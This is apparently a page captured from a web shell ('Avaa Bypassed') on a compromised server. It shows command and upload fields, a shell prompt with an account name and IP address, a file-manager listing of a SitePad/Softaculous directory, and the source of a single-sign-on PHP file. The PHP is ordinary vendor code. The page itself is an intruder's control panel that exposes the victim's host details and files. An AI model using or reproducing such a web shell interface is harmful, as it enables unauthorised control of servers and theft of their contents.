[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.190.239.189: ~ $
<?php

// Allows the user to login straight to SitePas
function __sp_sign_on(){

global $__settings, $error, $software, $globals, $notes, $softpanel;

	// Lets fill in the necessary stuff
	$abc['username'] = $softpanel->user['name'];
	$abc['email'] = $__settings['email'];

	// BRANDING OPTIONS
	if(!empty($globals['sm_brand'])){
		$abc['sm_brand'] = $globals['sm_brand'];
	}
	
	if(!empty($globals['sm_brand_url'])){
		$abc['sm_brand_url'] = $globals['sm_brand_url'];
	}
	
	if(!empty($globals['sm_brand_editor'])){
		$abc['sm_brand_editor'] = $globals['sm_brand_editor'];
	}
	
	if(!empty($globals['sm_logo_url'])){
		$abc['sm_brand_logo'] = $globals['sm_logo_url'];
	}
	
	if(!empty($globals['sm_sitename'])){
		$abc['sm_brand_app'] = $globals['sm_sitename'];
	}
	
	if(!empty($globals['sm_brand_demos'])){
		
		// We need the http:// prefix
		$abc['sm_brand_demos'] = substr($globals['sm_brand_demos'], 0, 4) != 'http' ? 'http://'.$globals['sm_brand_demos'] : $globals['sm_brand_demos'];
		
		// Add a trailing slash
		$abc['sm_brand_demos'] = substr($abc['sm_brand_demos'], -1) != '/' ? $abc['sm_brand_demos'].'/' : $abc['sm_brand_demos'];
	}
	
	// Lets update the database with our vars
	sdb_query("INSERT INTO `".$__settings['dbprefix']."options` 
				SET option_name = 'sitepad_vars',
				option_value = '".addslashes(serialize($abc))."'
					ON DUPLICATE KEY 
					UPDATE option_value = '".addslashes(serialize($abc))."';",
				$__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
	
	// Also add the login details
	$tmp['sp-login'] = generateRandStr(32);
	$tmp['time'] = time();
	
	$q = "INSERT INTO `".$__settings['dbprefix']."options` 
				SET option_name = 'sp-login',
				option_value = '".addslashes(serialize($tmp))."'
					ON DUPLICATE KEY 
					UPDATE option_value = '".addslashes(serialize($tmp))."';";
	sdb_query($q, $__settings['softdbhost'], $__settings['softdbuser'], $__settings['softdbpass'], $__settings['softdb']);
	
	//r_print($error);r_print($q);r_print($__settings);r_print($tmp);die();
	
	// Redirect the user
	redirect($__settings['softurl'].'/?sp-login='.md5($tmp['sp-login']), true, true);
	die();
	
}

Filemanager

Name Type Size Permission Actions
images Folder 0755
php53 Folder 0755
php56 Folder 0755
php71 Folder 0755
php81 Folder 0755
php82 Folder 0755
.htaccess File 184 B 0644
_index.php File 37 B 0644
check_charset.php File 1.97 KB 0644
clone.php File 12.95 KB 0644
edit.php File 3.51 KB 0644
edit.xml File 269 B 0644
extend.php File 2.52 KB 0644
fileindex.php File 32 B 0644
import.php File 3.08 KB 0644
index.php File 1.21 KB 0644
info.xml File 20.3 KB 0644
install.js File 924 B 0644
install.php File 24.51 KB 0644
install.xml File 5.3 KB 0644
md5 File 1.38 KB 0644
post_download.json File 95 B 0644
sign_on_func.php File 2.13 KB 0644
soft.htaccess File 124 B 0644
upgrade.php File 3.27 KB 0644
upgrade.xml File 231 B 0644